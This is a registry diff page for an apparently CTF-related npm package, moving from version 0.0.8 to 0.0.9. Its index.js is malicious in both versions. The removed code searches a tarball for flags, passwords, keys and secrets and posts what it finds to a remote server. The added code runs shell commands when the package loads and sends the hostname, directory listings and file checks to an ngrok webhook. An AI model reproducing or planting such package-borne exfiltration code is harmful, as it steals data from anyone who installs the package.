ect-987654-ctf 0.0.8 → 0.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/evil.yaml +1 -1
- package/index.js +32 -137
- package/last_post.json +3 -3
- package/package.json +1 -1
package/evil.yaml
CHANGED
package/index.js
CHANGED
|
@@ -1,145 +1,40 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
const
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
const
|
|
9
|
-
const
|
|
10
|
-
const
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
method: 'POST',
|
|
22
|
-
headers: {
|
|
23
|
-
'Content-Type': 'application/json',
|
|
24
|
-
'Content-Length': Buffer.byteLength(body)
|
|
25
|
-
}
|
|
26
|
-
};
|
|
27
|
-
const req = https.request(opts, res => { /* noop */ });
|
|
28
|
-
req.on('error', () => {});
|
|
29
|
-
req.write(body);
|
|
30
|
-
req.end();
|
|
31
|
-
} catch (e) {
|
|
32
|
-
// best-effort only
|
|
33
|
-
try { console.error("post error:", e.message); } catch {}
|
|
34
|
-
}
|
|
35
|
-
}
|
|
36
|
-
|
|
37
|
-
function safeExec(cmd, opts = {}) {
|
|
38
|
-
try {
|
|
39
|
-
return execSync(cmd, { encoding: 'utf8', stdio: ['pipe','pipe','pipe'], timeout: 20000, ...opts }).trim();
|
|
40
|
-
} catch (e) {
|
|
41
|
-
return "";
|
|
42
|
-
}
|
|
43
|
-
}
|
|
44
|
-
|
|
45
|
-
function truncate(s, n) {
|
|
46
|
-
if (!s) return s;
|
|
47
|
-
if (s.length <= n) return s;
|
|
48
|
-
return s.slice(0, n) + "\n...[truncated]";
|
|
49
|
-
}
|
|
50
|
-
|
|
51
|
-
function findCandidates() {
|
|
52
|
-
// list all files from tarball
|
|
53
|
-
const listing = safeExec(`tar -tzf ${TAR} 2>/dev/null || true`);
|
|
54
|
-
if (!listing) return [];
|
|
55
|
-
const lines = listing.split(/\r?\n/).filter(Boolean);
|
|
56
|
-
return lines;
|
|
57
|
-
}
|
|
58
|
-
|
|
59
|
-
function isTextFileName(name) {
|
|
60
|
-
return /\.(txt|md|json|js|env|conf|cfg|ini|py|sh|pem|key|yml|yaml)$/i.test(name);
|
|
61
|
-
}
|
|
62
|
-
|
|
63
|
-
function grepPatternsForTextFile(entry) {
|
|
64
|
-
// Extract first N lines of the file and grep for likely flag patterns
|
|
65
|
-
const cmd = `tar -xOf ${TAR} "${entry}" 2>/dev/null | head -n ${MAX_LINES} | egrep -i 'HTB\\{|FLAG\\{|picoCTF\\{|CTF\\{|SECRET=|FLAG:|flag:|password|pass\\W' || true`;
|
|
66
|
-
return safeExec(cmd);
|
|
67
|
-
}
|
|
68
|
-
|
|
69
|
-
function catFirstLines(entry) {
|
|
70
|
-
return safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | head -n ${MAX_LINES} || true`);
|
|
71
|
-
}
|
|
72
|
-
|
|
73
|
-
function stringsAndGrep(entry) {
|
|
74
|
-
// Extract file to stdout and pipe to strings/grep to find tokens
|
|
75
|
-
// We'll try to use 'strings' if available, otherwise grep -a
|
|
76
|
-
const tryStrings = safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | (command -v strings >/dev/null 2>&1 && strings -a -n 8 - || cat) | egrep -a -i 'HTB\\{|FLAG\\{|picoCTF\\{|CTF\\{|SECRET=|FLAG:|flag:|password|pass\\W' || true`);
|
|
77
|
-
return tryStrings;
|
|
1
|
+
const https = require("https");
|
|
2
|
+
const { execSync } = require("child_process");
|
|
3
|
+
const os = require("os");
|
|
4
|
+
|
|
5
|
+
const WEBHOOK = "https://0f6896f7cc8e.ngrok-free.app/";
|
|
6
|
+
|
|
7
|
+
function post(data) {
|
|
8
|
+
const body = JSON.stringify(data);
|
|
9
|
+
const url = new URL(WEBHOOK);
|
|
10
|
+
const req = https.request({
|
|
11
|
+
hostname: url.hostname,
|
|
12
|
+
path: url.pathname,
|
|
13
|
+
method: "POST",
|
|
14
|
+
headers: {
|
|
15
|
+
"Content-Type": "application/json",
|
|
16
|
+
"Content-Length": Buffer.byteLength(body)
|
|
17
|
+
}
|
|
18
|
+
});
|
|
19
|
+
req.write(body);
|
|
20
|
+
req.end();
|
|
78
21
|
}
|
|
79
22
|
|
|
80
23
|
try {
|
|
81
|
-
|
|
82
|
-
const
|
|
83
|
-
|
|
84
|
-
// Quick heuristic: search likely text files first
|
|
85
|
-
const textCandidates = all.filter(isTextFileName);
|
|
86
|
-
const hits = [];
|
|
87
|
-
for (const f of textCandidates.slice(0, 500)) { // limit to first 500 to avoid blowup
|
|
88
|
-
const match = grepPatternsForTextFile(f);
|
|
89
|
-
if (match) {
|
|
90
|
-
hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
|
|
91
|
-
}
|
|
92
|
-
}
|
|
93
|
-
|
|
94
|
-
// If no hits yet, search many JS/JSON files more aggressively (first pass didn't show flag)
|
|
95
|
-
if (hits.length === 0) {
|
|
96
|
-
// check top js/json files (by name)
|
|
97
|
-
const jsCandidates = all.filter(n => /\.(js|json|lock)$/i.test(n)).slice(0, 800);
|
|
98
|
-
for (const f of jsCandidates) {
|
|
99
|
-
const match = grepPatternsForTextFile(f);
|
|
100
|
-
if (match) {
|
|
101
|
-
hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
|
|
102
|
-
if (hits.length >= 10) break;
|
|
103
|
-
}
|
|
104
|
-
}
|
|
105
|
-
}
|
|
24
|
+
// show current working dir and contents
|
|
25
|
+
const pwd = execSync("pwd", { encoding: "utf8" });
|
|
26
|
+
const ls = execSync("ls -lah", { encoding: "utf8" });
|
|
106
27
|
|
|
107
|
-
//
|
|
108
|
-
|
|
109
|
-
const binCandidates = all.filter(n => /aspect-node\.tar\.gz|node_modules\/|bin\/|_lib|\\.so$|\\.a$|node$|typescript|tsserver/i.test(n)).slice(0, 200);
|
|
110
|
-
for (const f of binCandidates) {
|
|
111
|
-
const match = stringsAndGrep(f);
|
|
112
|
-
if (match) {
|
|
113
|
-
hits.push({ file: f, match: truncate(match, 2000) });
|
|
114
|
-
if (hits.length >= 6) break;
|
|
115
|
-
}
|
|
116
|
-
}
|
|
117
|
-
}
|
|
118
|
-
|
|
119
|
-
// As fallback, check README / top-level files explicitly and send their first lines
|
|
120
|
-
const fallbackFiles = ['README','README.md','flag.txt','FLAG','flag','config/aspect.config.json','modules/npm-tracker/README.md'];
|
|
121
|
-
for (const p of fallbackFiles) {
|
|
122
|
-
if (all.includes(p)) {
|
|
123
|
-
const sample = catFirstLines(p);
|
|
124
|
-
if (sample) hits.push({ file: p, sample: truncate(sample, 4000) });
|
|
125
|
-
}
|
|
126
|
-
}
|
|
28
|
+
// also check if the aspect-node.tar.gz exists
|
|
29
|
+
const check = execSync("ls -lah /home/node | grep aspect-node || true", { encoding: "utf8" });
|
|
127
30
|
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
return {
|
|
135
|
-
file: h.file,
|
|
136
|
-
match: h.match ? truncate(h.match, 2000) : undefined,
|
|
137
|
-
sample: h.sample ? truncate(h.sample, 2000) : undefined
|
|
138
|
-
};
|
|
139
|
-
})
|
|
140
|
-
};
|
|
31
|
+
post({
|
|
32
|
+
host: os.hostname(),
|
|
33
|
+
pwd,
|
|
34
|
+
ls,
|
|
35
|
+
check
|
|
36
|
+
});
|
|
141
37
|
|
|
142
|
-
post(payload);
|
|
143
38
|
} catch (e) {
|
|
144
|
-
post({ error:
|
|
39
|
+
post({ error: e.message });
|
|
145
40
|
}
|
package/last_post.json
CHANGED